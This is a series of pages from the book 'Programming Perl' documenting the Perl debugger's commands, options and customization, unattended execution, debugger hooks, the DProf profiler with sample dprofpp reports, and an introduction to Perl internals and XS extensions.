w
w LINE

Lists a window (a few lines) around the given source LINE, or the current line if no LINE is supplied.

f FILENAME

This command lets you view a different program or eval statement. If the FILENAME is not a full pathname as found in the values of %INC, it is interpreted as a regular expression to find the filename you mean.

/PATTERN/

This command searches forward in the program for PATTERN; the final / is optional. The entire PATTERN is optional, too, and if omitted, repeats the previous search.

?PATTERN?

This command searches backward for PATTERN; the final ? is optional. It repeats the previous search if PATTERN is omitted.

S
S PATTERN
S !PATTERN

The S command lists those subroutine names matching (or, with !, those not matching) PATTERN. If no PATTERN is provided, all subroutines are listed.

20.2.6. Actions and Command Execution

From inside the debugger, you can specify actions to be taken at particular times. You can also launch external programs.

a
a COMMAND
a LINE
a LINE COMMAND

This command sets an action to take before LINE executes, or the current line if LINE is omitted. For example, this prints out $foo every time line 53 is reached:

a 53 print "DB FOUND $foo\n"
If no COMMAND is specified, the action on the specified LINE is deleted. With neither LINE nor COMMAND, the action on the current line is deleted.

A

The A debugger command deletes all actions.

<
< ?
< EXPR
<< EXPR

The <EXPR form specifies a Perl expression to be evaluated before every debugger prompt. You can add another expression with the <<EXPR form, list them with < ?, and delete them all with a plain <.

>
> ?
> EXPR
>> EXPR

The > commands behave just like their < cousins but are executed after the debugger prompt instead of before.

{
{ ?
{ COMMAND
{{ COMMAND

The { debugger commands behave just like < but specify a debugger command to be executed before the debugger prompt instead of a Perl expression. A warning is issued if you appear to have accidentally entered a block of code instead. If that's what you really mean to do, write it with ;{ ... } or even do { ... }.

!
! NUMBER
! -NUMBER
!PATTERN

A lone ! repeats the previous command. The NUMBER specifies which command from the history to execute; for instance, ! 3 executes the third command typed into the debugger. If a minus sign precedes the NUMBER, the commands are counted backward: ! -3 executes the third-to-last command. If a PATTERN (no slashes) is provided instead of a NUMBER, the last command that began with PATTERN is executed. See also the recallCommand debugger option.)

!! CMD

This debugger command runs the external command CMD in a subprocess, which will read from DB::IN and write to DB::OUT. See also the shellBang debugger option. This command uses whatever shell is named in $ENV{SHELL}, which can sometimes interfere with proper interpretation of status, signal, and core dump information. If you want a consistent exit value from the command, set $ENV{SHELL} to /bin/sh.

|
|DBCMD
||PERLCMD

The |DBCMD command runs the debugger command DBCMD, piping DB::OUT to $ENV{PAGER}. This is often used with commands that would otherwise produce long output, such as:

DB<1> |V main
Note that this is for debugger commands, not commands you'd type from your shell. If you wanted to pipe the external command who through your pager, you could do something like this:

DB<1> !!who | more

The ||PERLCMD command is like |DBCMD, but DB::OUT is temporarily selected as well, so any commands that call print, printf, or write without a filehandle will also be sent down the pipe. For example, if you had a function that generated loads of output by calling print, you'd use this command instead of the previous one to page through that output:

DB<1> sub saywho { print "Users: ", `who` }
DB<2> ||sawwho()

20.2.7. Miscellaneous Commands

q and ^D

These commands quit the debugger. This is the recommended way to exit, although typing exit twice sometimes works. Set the inhibit_exit option to 0 if you want to be able to step off the end of the program and remain in the debugger anyway. You may also need to set $DB::finished to 0 if you want to step through global destruction.

R

Restart the debugger by execing a new session. The debugger tries to maintain your history across sessions, but some internal settings and command-line options may be lost. The following settings are currently preserved: history, breakpoints, actions, debugger options, and the Perl command-line options -w, -I, and -e.

=
= ALIAS
= ALIAS VALUE

This command prints out the current value of ALIAS if no VALUE is given. With a VALUE, it defines a new debugger command with the name ALIAS. If both ALIAS and VALUE are omitted, all current aliases are listed. For example:

= quit q
An ALIAS should be a simple identifier, and should translate to a simple identifier as well. You can do more sophisticated aliasing by adding your own entries to %DB::aliases directly. See "Debugger Customization" later in this chapter.

man
man MANPAGE

This command calls your system's default documentation viewer on the given page or on the viewer itself if MANPAGE is omitted. If that viewer is man, the current %Config information is used to invoke it. The "perl" prefix will be automatically supplied for you when necessary; this lets you type man debug and man op from the debugger.

On systems that do not normally have the man utility, the debugger invokes perldoc; if you want to change that behavior, set $DB::doccmd to whatever viewer you like. This may be set in an rc file or through direct assignment.

O
O OPTION ...
O OPTION? ...
O OPTION=VALUE...

The O command lets you manipulate debugger options, which are listed in Section 20.3.3, "Debugger Options" later in this chapter. The O OPTION form sets each of the listed debugger options to 1. If a question mark follows an OPTION, its current value is displayed.

The O OPTION=VALUE form sets the values; if VALUE has internal whitespace, it should be quoted. For example, you could set O pager="less -MQeicsNfr" to use less with those specific flags. You may use either single or double quotes, but if you do, you must escape embedded instances of the same sort of quote that you began with. You must also escape any backslash that immediately precedes the quote but is not meant to escape the quote itself. In other words, just follow single-quoting rules irrespective of the quote actually used. The debugger responds by showing you the value of the option just set, always using single-quoted notation for its output:

DB<1> O OPTION='this isn\'t bad'
               OPTION = 'this isn\'t bad'

DB<2> O OPTION="She said, \" Isn't it?\""
               OPTION = 'She said, "Isn\'t it?"'
For historical reasons, the =VALUE is optional, but defaults to 1 only where safe to do so--that is, mostly for Boolean options. It is better to assign a specific VALUE using =. The OPTION can be abbreviated, but unless you're trying to be intentionally cryptic, it probably should not be. Several options can be set together. See the section Section 20.3.3, "Debugger Options" for a list of these.

Previous | Home | Next
20.1. Using the Debugger | Book Index | 20.3. Debugger Customization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Debugger Customization (Programming Perl)

 Book Home Programming PerlSearch this book

20.3. Debugger Customization

The debugger probably contains enough configuration hooks that you'll never have to modify it yourself. You may change the behavior of debugger from within the debugger using its O command, from the command line via the PERLDB_OPTS environment variable, and by running any preset commands stored in rc files.

20.3.1. Editor Support for Debugging

The debugger's command-line history mechanism doesn't provide command-line editing like many shells do: you can't retrieve previous lines with ^p, or move to the beginning of the line with ^a, although you can execute previous lines with using the exclamation point syntax familiar to shell users. However, if you install the Term::ReadKey and Term::ReadLine modules from CPAN, you will have full editing capabilities similar to what GNU readline(3) provides.

If you have emacs installed on your system, it can interact with the Perl debugger to provide an integrated software development environment reminiscent of its interactions with C debuggers. Perl comes with a start file for making emacs act like a syntax-directed editor that understands (some of) Perl's syntax. Look in the emacs directory of the Perl source distribution. Users of vi should also look into vim (and gvim, the mousey and windy version) for coloring of Perl keywords.

A similar setup by one of us (Tom) for interacting with any vendor-shipped vi and the X11 window system is also available. This works similarly to the integrated multiwindow support that emacs provides, where the debugger drives the editor. However, at the time of this writing, its eventual location in the Perl distribution is uncertain. But we thought you should know of the possibility.

20.3.2. Customizing with Init Files

You can do some customization by setting up either a .perldb or perldb.ini file (depending on your operating system), which contains initialization code. This init file holds Perl code, not debugger commands, and is processed before the PERLDB_OPTS environment variable is looked at. For instance, you could make aliases by adding entries to the %DB::alias hash this way:

$alias{len}  = 's/^len(.*)/p length($1)/';
$alias{stop} = 's/^stop (at|in)/b/';
$alias{ps}   = 's/^ps\b/p scalar /';
$alias{quit} = 's/^quit(\s*)/exit/';
$alias{help} = 's/^help\s*$/|h/';
You can change options from within your init file using function calls into the debugger's internal API:
parse_options("NonStop=1 LineInfo=db.out AutoTrace=1 frame=2");
If your init file defines the subroutine afterinit, that function is called after debugger initialization ends. The init file may be located in the current directory or in the home directory. Because this file contains arbitrary Perl commands, for security reasons, it must be owned by the superuser or the current user, and writable by no one but its owner.

If you want to modify the debugger, copy perl5db.pl from the Perl library to another name and hack it to your heart's content. You'll then want to set your PERL5DB environment variable to say something like this:

BEGIN { require "myperl5db.pl" }
As a last resort, you could also use PERL5DB to customize the debugger by directly setting internal variables or calling internal debugger functions. Be aware, though, that any variables and functions not documented either here or else in the online perldebug, perldebguts, or DB manpages are considered to be for internal use only and are subject to change without notice.

20.3.3. Debugger Options

The debugger has numerous options that you can set with the O command, either interactively or from the environment or from an init file.

recallCommand, ShellBang

The characters used to recall a command or spawn a shell. By default, both are set to !.

pager

Program to use for output of pager-piped commands (those beginning with a | character.) By default, $ENV{PAGER} will be used. Because the debugger uses your current terminal characteristics for bold and underlining, if the chosen pager does not pass escape sequences through unchanged, the output of some debugger commands will not be readable when sent through the pager.

tkRunning

Run under the Tk module while prompting (with ReadLine).

signalLevel, warnLevel, dieLevel

Set the level of verbosity. By default, the debugger leaves your exceptions and warnings alone because altering them can break correctly running programs.

To disable this default safe mode, set these values to something higher than 0. At a level of 1, you get backtraces upon receiving any kind of warning (this is often annoying) or exception (this is often valuable). Unfortunately, the debugger cannot distinguish fatal exceptions from nonfatal ones. If dieLevel is 1, then your nonfatal exceptions are also traced and unceremoniously altered if they came from evaled strings or from any kind of eval within modules you're attempting to load. If dieLevel is 2, the debugger doesn't care where they came from: it usurps your exception handler and prints out a trace, and then modifies all exceptions with its own embellishments. This may perhaps be useful for some tracing purposes, but it tends to hopelessly confuse any program that takes its exception handling seriously.

The debugger will attempt to print a message when any uncaught INT, BUS, or SEGV signal arrives. If you're in a slow syscall (like a wait or an accept, or a read from your keyboard or a socket) and haven't set up your own $SIG{INT} handler, then you won't be able to Control-C your way back to the debugger, because the debugger's own $SIG{INT} handler doesn't understand that it needs to raise an exception to longjmp(3) out of slow syscalls.

AutoTrace

Set the trace mode (similar to t command, but can be put into PERLDB_OPTS).

LineInfo

Assign the file or pipe to print line number info to. If it is a pipe (say, |visual_perl_db), then a short message is used. This is the mechanism used to interact with a slave editor or visual debugger, such as the special vi or emacs hooks, or the ddd graphical debugger.

inhibit_exit

If 0, allows stepping off the end of the program.

PrintRet

Print return value after r command if set (default).

ornaments

Affects screen appearance of the command line (see the online docs for Term::ReadLine). There is currently no way to disable ornaments, which can render some output illegible on some displays or with some pagers. This is considered a bug.

frame

Affects printing of messages on entry and exit from subroutines. If frame & 2 is false, messages are printed on entry only. (Printing on exit might be useful if interspersed with other messages.)

If frame & 4, arguments to functions are printed, plus context and caller info. If frame & 8, overloaded stringify and tied FETCH are enabled on the printed arguments. If frame & 16, the return value from the subroutine is printed.

The length at which the argument list is truncated is governed by the next option.

maxTraceLen

Length to truncate the argument list when the frame option's bit 4 is set.

The following options affect what happens with the V, X, and x commands:

arrayDepth, hashDepth

Print only the first n elements. If n is omitted, all of the elements will be printed.

compactDump, veryCompact

Change the style of array and hash output. If compactDump is enabled, short arrays may be printed on one line.

globPrint

Print contents of typeglobs.

DumpDBFiles

Display arrays holding debugged files.

DumpPackages

Display symbol tables of packages.

DumpReused

Display contents of "reused" addresses.

quote, HighBit, undefPrint

Change the style of string display. The default value for quote is auto; you can enable double-quotish or single-quotish format by setting it to " or ', respectively. By default, characters with their high bit set are printed verbatim.

UsageOnly

Instead of showing the contents of a package's variables, with this option enabled, you get a rudimentary per-package memory usage dump based on the total size of the strings found in package variables. Because the package symbol table is used, lexical variables are ignored.

Previous | Home | Next
20.2. Debugger Commands | Book Index | 20.4. Unattended Execution
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Unattended Execution (Programming Perl)

 Book Home Programming PerlSearch this book

20.4. Unattended Execution

During startup, options are initialized from $ENV{PERLDB_OPTS}. You may place the initialization options TTY, noTTY, ReadLine, and NonStop there.

If your init file contains:

parse_options("NonStop=1 LineInfo=tperl.out AutoTrace");
then your program will run without human intervention, putting trace information into the file db.out. (If you interrupt it, you'd better reset LineInfo to /dev/tty if you expect to see anything.)

The following options can be specified only at startup. To set them in your init file, call parse_options("OPT=VAL").

TTY

The terminal to use for debugging I/O.

noTTY

If set, the debugger goes into NonStop mode and will not connect to a terminal. If interrupted (or if control goes to the debugger via explicit setting of $DB::signal or $DB::single from the Perl program), it connects to a terminal specified in the TTY option at startup, or to a terminal found at run time using the Term::Rendezvous module of your choice.

This module should implement a method named new that returns an object with two methods: IN and OUT. These should return filehandles for the debugger to use its input and output correspondingly. The new method should inspect an argument containing the value of $ENV{PERLDB_NOTTY} at startup, or "/tmp/perldbtty$$" otherwise. This file is not inspected for proper ownership or wide-open write access, so security hazards are theoretically possible.

ReadLine

If false, ReadLine support in the debugger is disabled in order to debug applications that themselves use a ReadLine module.

NonStop

If set, the debugger goes into noninteractive mode until interrupted, or your program sets $DB::signal or $DB::single.

Options can sometimes be uniquely abbreviated by the first letter, but we recommend that you always spell them out in full, for legibility and future compatibility.

Here's an example of using the PERLDB_OPTS environment variable to set options automatically.[1] It runs your program noninteractively, printing information on each entry into a subroutine and for each line executed. Output from the debugger's trace are placed into the tperl.out file. This lets your program still use its regular standard input and output, without the trace information getting in the way.

$ PERLDB_OPTS="NonStop frame=1 AutoTrace LineInfo=tperl.out" perl -d myprog
If you interrupt the program, you'll need to quickly reset to O LineInfo=/dev/tty or whatever makes sense on your platform. Otherwise, you won't see the debugger's prompting.

[1] We're using sh shell syntax to show environment variable settings. Users of other shells should adjust accordingly.

Previous | Home | Next
20.3. Debugger Customization | Book Index | 20.5. Debugger Support
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Debugger Support (Programming Perl)

 Book Home Programming PerlSearch this book

20.5. Debugger Support

Perl provides special debugging hooks at both compile time and run time for creating debugging environments such as the standard debugger. These hooks are not to be confused with the perl -D options, which are usable only if your Perl was built with -DDEBUGGING support.

For example, whenever you call Perl's built-in caller function from the package DB, the arguments that the corresponding stack frame was called with are copied to the the @DB::args array. When you invoke Perl with the -d switch, the following additional features are enabled:

  • Perl inserts the contents of $ENV{PERL5DB} (or BEGIN {require 'perl5db.pl'} if not present) before the first line of your program.

  • The array @{"_<$filename"} holds the lines of $filename for all files compiled by Perl. The same for evaled strings that contain subroutines or are currently being executed. The $filename for evaled strings looks like (eval 34). Code assertions in regular expressions look like (re_eval 19).

  • The hash %{"_<$filename"} contains breakpoints and actions keyed by line number. You can set individual entries as opposed to the whole hash. Perl only cares about Boolean truth here, although the values used by perl5db.pl have the form "$break_condition\0$action". Values in this hash are magical in numeric context: they are zeros if the line is not breakable.

    The same holds for evaluated strings that contain subroutines or are currently being executed. The $filename for evaled strings looks like (eval 34) or (re_eval 19).

  • The scalar ${"_<$filename"} contains "_<$filename". This is also the case for evaluated strings that contain subroutines or are currently being executed. The $filename for evaled strings looks like (eval 34) or (re_eval 19).

  • After each required file is compiled, but before it is executed, DB::postponed(*{"_<$filename"}) is called if the subroutine DB::postponed exists. Here, the $filename is the expanded name of the required file, as found in the values of %INC.

  • After each subroutine subname is compiled, the existence of $DB::postponed{subname} is checked. If this key exists, DB::postponed(subname) is called if the DB::postponed subroutine also exists.

  • A hash %DB::sub is maintained, whose keys are subroutine names and whose values have the form filename:startline-endline. filename has the form (eval 34) for subroutines defined inside evals, or (re_eval 19) for those within regular expression code assertions.

  • When the execution of your program reaches a point that might hold a breakpoint, the DB::DB() subroutine is called if any of the variables $DB::trace, $DB::single, or $DB::signal is true. These variables are not localizable. This feature is disabled when executing inside DB::DB(), including functions called from it unless $^D & (1<<30) holds true.

  • When execution of the program reaches a subroutine call, a call to &DB::sub(args) is made instead, with $DB::sub holding the name of the called subroutine. This doesn't happen if the subroutine was compiled in the DB package.

Note that if &DB::sub needs external data for it to work, no subroutine call is possible until this is done. For the standard debugger, the $DB::deep variable (how many levels of recursion deep into the debugger you can go before a mandatory break) gives an example of such a dependency.

20.5.1. Writing Your Own Debugger

The minimal working debugger consists of one line:

sub DB::DB {}
which, since it does nothing whatsoever, can easily be defined via the PERL5DB environment variable:
% PERL5DB="sub DB::DB {}" perl -d your-program
Another tiny debugger, slightly more useful, could be created like this:
sub DB::DB {print ++$i; scalar <STDIN>}
This little debugger would print the sequential number of each encountered statement and would wait for you to hit a newline before continuing.

The following debugger, small though it may appear, is really quite functional:

{
    package DB;
    sub DB  {}
    sub sub {print ++$i, " $sub\n"; &$sub}
}
It prints the sequential number of the subroutine call and the name of the called subroutine. Note that &DB::sub must be compiled from the package DB, as we've done here.

If you base your new debugger on the current debugger, there are some hooks that can help you customize it. At startup, the debugger reads your init file from the current directory or your home directory. After the file is read, the debugger reads the PERLDB_OPTS environment variable and parses this as the remainder of an O ... line such as you might enter at the debugger prompt.

The debugger also maintains magical internal variables, such as @DB::dbline, %DB::dbline, which are aliases for @{":::_<current_file"} %{"::_<current_file"}. Here current_file is the currently selected file, either explicitly chosen with the debugger's f command or implicitly by flow of execution.

Some functions can help with customization. DB::parse_options(STRING) parses a line like the O option. DB::dump_trace(SKIP[,COUNT]) skips the specified number of frames and returns a list containing information about the calling frames (all of them, if COUNT is missing). Each entry is a reference to a hash with keys "context" (either ., $, or @), "sub" (subroutine name, or info about eval), "args" (undef or a reference to an array), "file", and "line". DB::print_trace(FH,SKIP[,COUNT[,SHORT]]) prints formatted info about caller frames to the supplied filehandle. The last two functions may be convenient as arguments to the debugger's < and << commands.

You don't need to learn all that--most of us haven't. In fact, when we need to debug a program, we usually just insert a few print statements here and there and rerun the program.

On our better days, we'll even remember to turn on warnings first. That often spotlights the problem right away, thus saving a great deal of wear and tear on our hair (what's left of it). But when that doesn't work, it's nice to know that, waiting for you patiently behind that -d switch, there is a lovely debugger that can do darn near anything except find your bug for you.

But if you're going to remember one thing about customizing the debugger, perhaps it is this: don't limit your notion of bugs to things that make Perl unhappy. It's also a bug if your program makes you unhappy. Earlier, we showed you a couple of really simple custom debuggers. In the next section, we'll show you an example of a different sort of custom debugger, one that may (or may not) help you debug the bug known as "Is this thing ever gonna finish?"

Previous | Home | Next
20.4. Unattended Execution | Book Index | 20.6. The Perl Profiler
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Perl Profiler (Programming Perl)

 Book Home Programming PerlSearch this book

20.6. The Perl Profiler

Do you want to make your program faster? Well, of course you do. But first you should stop and ask yourself, "Do I really need to spend time making this program faster?" Recreational optimization can be fun,[2] but normally there are better uses for your time. Sometimes you just need to plan ahead and start the program when you're going on a coffee break. (Or use it as an excuse for one.) But if your program absolutely must run faster, you should begin by profiling it. A profiler can tell you which parts of your program take the most time to execute, so you won't waste time optimizing a subroutine that has an insignificant effect on the overall execution time.

[2] Or so says Nathan Torkington, who contributed this section of the book.

Perl comes with a profiler, the Devel::DProf module. You can use it to profile the Perl program in mycode.pl by typing:

perl -d:DProf mycode.pl
Even though we've called it a profiler--since that's what it does--the mechanism DProf employs is the very same one we discussed earlier in this chapter. DProf is just a debugger that records the time Perl entered and left each subroutine.

When your profiled script terminates, DProf will dump the timing information to a file called tmon.out. The dprofpp program that came with Perl knows how to analyze tmon.out and produce a report. You may also use dprofpp as a frontend for the whole process with the -p switch (see described later).

Given this program:

outer();

sub outer {
  for (my $i=0; $i < 100; $i++) { inner() }
}

sub inner {
  my $total = 0;
  for (my $i=0; $i < 1000; $i++) { $total += $i }
}

inner();
the output of dprofpp is:
Total Elapsed Time = 0.537654 Seconds
  User+System Time = 0.317552 Seconds
Exclusive Times
%Time ExclSec CumulS #Calls sec/call Csec/c  Name
 85.0   0.270  0.269    101   0.0027 0.0027  main::inner
 2.83   0.009  0.279      1   0.0094 0.2788  main::outer
Note that the percentage numbers don't add up to 100. In fact, in this case, they're pretty far off, which should tip you off that you need to run the program longer. As a general rule, the more profiling data you can collect, the better your statistical sample. If we increase the outer loop to run 1000 times instead of 100 times, we'll get more accurate results:
Total Elapsed Time = 2.875946 Seconds
  User+System Time = 2.855946 Seconds
Exclusive Times
%Time ExclSec CumulS #Calls sec/call Csec/c  Name
 99.3   2.838  2.834   1001   0.0028 0.0028  main::inner
 0.14   0.004  2.828      1   0.0040 2.8280  main::outer
The first line reports how long the program took to run, from start to finish. The second line displays the total of two different numbers: the time spent executing your code ("user") and the time spent in the operating system executing system calls made by your code ("system"). (We'll have to forgive a bit of false precision in these numbers--the computer's clock almost certainly does not tick every millionth of a second. It might tick every hundredth of a second if you're lucky.)

The "user+system" times can be changed with command-line options to dprofpp. -r displays elapsed time, -s displays system time only, and -u displays user time only.

The rest of the report is a breakdown of the time spent in each subroutine. The "Exclusive Times" line indicates that when subroutine outer called subroutine inner, the time spent in inner didn't count towards outer's time. To change this, causing inner's time to be counted towards outer's, give the -I option to dprofpp.

For each subroutine, the following is reported: %Time, the percentage of time spent in this subroutine call; ExclSec, the time in seconds spent in this subroutine not including those subroutines called from it; CumulS, the time in seconds spent in this subroutine and those called from it; #Calls, the number of calls to the subroutine; sec/call, the average time in seconds of each call to the subroutine not including those called from it; Csec/c, the average time in seconds of each call to the subroutine and those called from it.

Of those, the most useful figure is %Time, which will tell you where your time goes. In our case, the inner subroutine takes the most time, so we should try to optimize that subroutine, or find an algorithm that will call it less. :-)

Options to dprofpp provide access to other information or vary the way the times are calculated. You can also make dprofpp run the script for you in the first place, so you don't have to remember the -d:DProf switch:

-p SCRIPT

Tells dprofpp that it should profile the given SCRIPT and then interpret its profile data. See also -Q.

-Q

Used with -p to tell dprofpp to quit after profiling the script, without interpreting the data.

-a

Sort output alphabetically by subroutine name rather than by decreasing percentage of time.

-R

Count anonymous subroutines defined in the same package separately. The default behavior is to count all anonymous subroutines as one, named main::__ANON__.

-I

Display all subroutine times inclusive of child subroutine times.

-l

Sort by number of calls to the subroutines. This may help identify candidates for inlining.

-O COUNT

Show only the top COUNT subroutines. The default is 15.

-q

Do not display column headers.

-T

Display the subroutine call tree to standard output. Subroutine statistics are not displayed.

-t

Display the subroutine call tree to standard output. Subroutine statistics are not displayed. A function called multiple (consecutive) times at the same calling level is displayed once, with a repeat count.

-S

Produce output structured by the way your subroutines call one another:

main::inner x 1         0.008s
main::outer x 1         0.467s = (0.000 + 0.468)s
  main::inner x 100     0.468s
Read this as follows: the top level of your program called inner once, and it ran for 0.008s elapsed time, and the top level called outer once and it ran for 0.467s inclusively (0s in outer itself, 0.468s in the subroutines called from outer) calling inner 100 times (which ran for 0.468s). Whew, got that?

Branches at the same level (for example, inner called once and outer called once) are sorted by inclusive time.

-U

Do not sort. Display in the order found in the raw profile.

-v

Sort by average time spent in subroutines during each call. This may help identify candidates for hand optimization by inlining subroutine bodies.

-g subroutine

Ignore subroutines except subroutine and whatever is called from it.

Other options are described in dprofpp(1), its standard manpage.

DProf is not your only choice for profiler. CPAN also holds Devel::SmallProf, which reports the time spent in each line of your program. That can help you figure out if you're using some particular Perl construct that is being surprisingly expensive. Most of the built-in functions are pretty efficient, but it's easy to accidentally write a regular expression whose overhead increases exponentially with the size of the input. See also the section Section 20.2, "Efficiency" in Chapter 24, "Common Practices", for other helpful hints.

Now go take that coffee break. You'll need it for the next chapter.

Previous | Home | Next
20.5. Debugger Support | Book Index | 21. Internals and Externals
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Internals and Externals (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 21. Internals and Externals

Contents:

How Perl Works
Internal Data Types
Extending Perl (Using C from Perl)
Embedding Perl (Using Perl from C)
The Moral of the Story

As we discussed in Chapter 18, "Compiling", perl (the program) contains both a compiler and an interpreter for programs written in Perl (the language). The Perl compiler/interpreter is itself written in C. In this chapter, we'll sketch how that C program works from the perspective of someone who wants either to extend or to embed Perl. When you extend Perl, you're putting a chunk of C code (called the extension) under the control of Perl, and when you embed Perl you're putting a Perl interpreter[1] under the control of a larger C program.

[1] While we are careful to distinguish the compiler from the interpreter when that distinction is important, it gets a bit wearisome to keep saying "compiler/interpreter", so we often just shorten that to "interpreter" to mean the whole glob of C code and data that functions like one instance of perl (the program); when you're embedding Perl, you can have multiple instances of the interpreter, but each behaves like its own little perl.

The brief coverage we provide here is no substitute for the online documentation of Perl's innards: see the documentation for perlguts, perlxs, perlxstut, perlcall, perlapi, and h2xs, all bundled with Perl. Again, unless you're extending or embedding Perl, you will never need to know any of this stuff.

Presuming you need to know, what you need to know first is a bit about Perl's guts. You'll also need to know C for most of what follows. You'll need a C compiler to run the examples. If your end goal is to create a module for other people to use, they'll need a C compiler too. Many of these examples will only run on Unix-like systems. Oh, and this material is subject to change in future releases of Perl.

In other words, here be dragons.

21.1. How Perl Works

When the Perl compiler is fed a Perl program, the first task it performs is lexical analysis: breaking down the program into its basic syntactic elements (often called tokens). If the program is:

print "Hello, world!\n";
the lexical analyzer breaks it down into three tokens: print, "Hello, world!\n", and the final semicolon. The token sequence is then parsed, fixing the relationship between the tokens. In Perl, the boundary between lexical analysis and parsing is blurred more than in other languages. (Other computer languages, that is. If you think about all the different meanings new Critter might have depending on whether there's a Critter package or a subroutine named new, you'll understand why. On the other hand, we disambiguate these kinds of things all the time in English.)

Once a program has been parsed and (presumably) understood, it is compiled into a tree of opcodes representing low-level operations, and finally that tree of operations is executed--unless you invoked Perl with the -c ("check syntax") switch, which exits upon completing the compilation phase. It is during compilation, not execution, that BEGIN blocks, CHECK blocks, and use statements are executed.

Previous | Home | Next
20.6. The Perl Profiler | Book Index | 21.2. Internal Data Types
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Internal Data Types (Programming Perl)

 Programming PerlSearch this book

21.2. Internal Data Types

As the tree of opcodes constituting a compiled Perl program is executed, Perl values are created, manipulated, and destroyed. The data types you're familiar with in Perl all have corresponding data types in the C under Perl's hood, and you'll need to know about those types when you pass data between the two languages.

Three C typedefs correspond to Perl's three basic data types: the SV (scalar value), AV (array value), and HV (hash value). In addition, an IV is a simple signed integer type guaranteed to be large enough to hold either a pointer or an integer; and I32 and I16 are types guaranteed to be large enough to hold 32 bits and 16 bits, respectively. For storing unsigned versions of these last three typedefs, there exist UV, U32, and U16 typedefs as well. All of these typedefs can be manipulated with the C functions described in the perlguts documentation. We sketch the behaviors of some of those functions below:

  • There are four types of values that can be copied into an SV: an integer value (IV), a double (NV), a string (PV), and another scalar (SV). There are dozens of functions for SVs to let you create, modify, grow, and check for the truth or definedness of the Perl scalars they represent. Perl references are implemented as an RV, a special type of SV.

  • When an AV is created, it can be created empty or populated with SVs, which makes sense since an array is a collection of scalars.

  • The HV has associated C functions for storing, fetching, deleting, and checking for the existence of key/value pairs in the hash the HV represents.

  • There is also a GV (glob value), which can hold references to any of the values associated with a variable identifier: a scalar value, an array value, a hash value, a subroutine, an I/O handle, or a format.

When you extend Perl, you will sometimes need to know about these values when you create bindings to C functions. When you embed Perl, you'll need to know about these values when you exchange data with the Perl interpreter included in your C program.

Previous | Home | Next
21.1. How Perl Works | Book Index | 21.3. Extending Perl (Using C from Perl)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Extending Perl (Using C from Perl) (Programming Perl)

 Book Home Programming PerlSearch this book

21.3. Extending Perl (Using C from Perl)

If you want to use C source code (or a C library) from Perl, you need to create a library that can be either dynamically loaded or statically linked into your perl executable. (Dynamic loading is usually preferred, to minimize the number of different perl executables sitting around being different.) You create that library by creating an XS file (ending in .xs) containing a series of wrapper subroutines. The wrapper subroutines are not Perl subroutines, however; they are in the XS language, and we call such a subroutine an XSUB, for "eXternal SUBroutine". An XSUB can wrap a C function from an external library, a C function elsewhere in the XS file, or naked C code in the XSUB itself. You then use the xsubpp utility bundled with Perl to take the XS file and translate it into C code that can be compiled into a library that Perl will understand.

Assuming your operating system supports dynamic linking, the end result will be a Perl module that behaves like any other module written in 100% pure Perl, but runs compiled C code under the hood. It does this by pulling arguments from Perl's argument stack, converting the Perl values to the formats expected by a particular C function (specified through an XSUB declaration), calling the C function, and finally transferring the return values of the C function back to Perl. These return values may be passed back to Perl either by putting them on the Perl stack or by modifying the arguments supplied from the Perl side. (If your system doesn't support dynamic linking, you have another hoop to jump through, and we'll discuss that in the next section.)

The previous description is a somewhat simplified view of what really happens. Since Perl allows more flexible calling conventions than C, XSUBs can do much more in practice, such as checking input parameters for validity, throwing exceptions, returning undef or an empty list, calling different C functions based on numbers and types of the arguments, or providing an object-oriented interface. Again, see the perlxs and perlxstut manpages.

21.3.1. XS and XSUBs

XS is a convenience: there's nothing stopping you from writing glue code directly in C and linking it into your Perl executable. However, this would be tedious, especially if you need to write glue for multiple C functions, or if you're not familiar with the Perl stack discipline and other arcana. XS lets you write a concise description of what should be done by the glue, and the XS compiler xsubpp handles the rest.

For people who don't find XS convenient enough, the SWIG system automatically generates simple XSUBs. See http://www.swig.org for more information.

The XS language allows you to describe the mapping between a C function and a Perl function. It also allows you to create a Perl function that is a wrapper around pure C code that you write yourself. When XS is used merely to map between C and Perl, the XSUB declaration is almost identical to a declaration of a C function. In such circumstances, a tool called h2xs (bundled with Perl) is able to translate an entire C header file into a corresponding XS file that provides glue to the C functions and macros.

The xsubpp tool creates the constructs necessary to let an XSUB manipulate Perl values and the glue necessary to let Perl call the XSUB.

An XS file begins with any C code you want to include, which will often be nothing more than a set of #include directives. After a MODULE keyword, the remainder of the file should be in the XS "language", a combination of XS directives and XSUB definitions. We'll see an example of an entire XS file soon, but in the meantime here is a simple XSUB definition that allows a Perl program to access a C library function called sin(3). The XSUB specifies the return type (a double length floating-point number), the function name and argument list (with one argument dubbed x), and the type of the argument (another double):

double
sin(x)
    double x
More complicated XSUBs will often contain other bits of XS code. Each section of an XSUB starts with a keyword followed by a colon, such as INIT: or CLEANUP:. However, the first two lines of an XSUB always contain the same data: a description of the return type and the name of the function and its parameters. Whatever immediately follows these is considered to be an INPUT: section unless explicitly marked with another keyword. The various keywords are all explained in the perlxs manpage, which you should read to learn about everything you can do with XSUBs.

If your system does not have the capability to dynamically load shared libraries, you can still use XSUBs, but you must statically link the XSUBs with the rest of Perl, creating a new Perl executable (to sit around and be different). The XSUB build mechanism will check the system and build a shared library if possible, or else a static library. Optionally, it can build a new statically linked executable with that static library linked in. (But you might want to delay that to bundle all your new extensions into a single executable sitting around being the same, as it were.)

If your system can link libraries dynamically but you still want to build a statically linked executable, you can run make perl instead of make in the following examples. You should then run make test_static instead of make test to test your extension.

The xsubpp program also needs to know how to convert from Perl's data types to C's data types. Often it can guess, but with user-defined types you may need to help it out by specifying the conversion in a typemap file. The default conversions are stored in PATH-TO-PERLLIB/ExtUtils/typemap.

The typemap is split into three sections. The first section, labeled TYPEMAP, tells the compiler which of the code fragments in the following two sections should be used to map between C types and Perl values. The second section, INPUT, contains C code specifying how Perl values should be converted to C types. The third section, OUTPUT, contains C code specifying how to translate C types into Perl values.

21.3.2. Creating Extensions

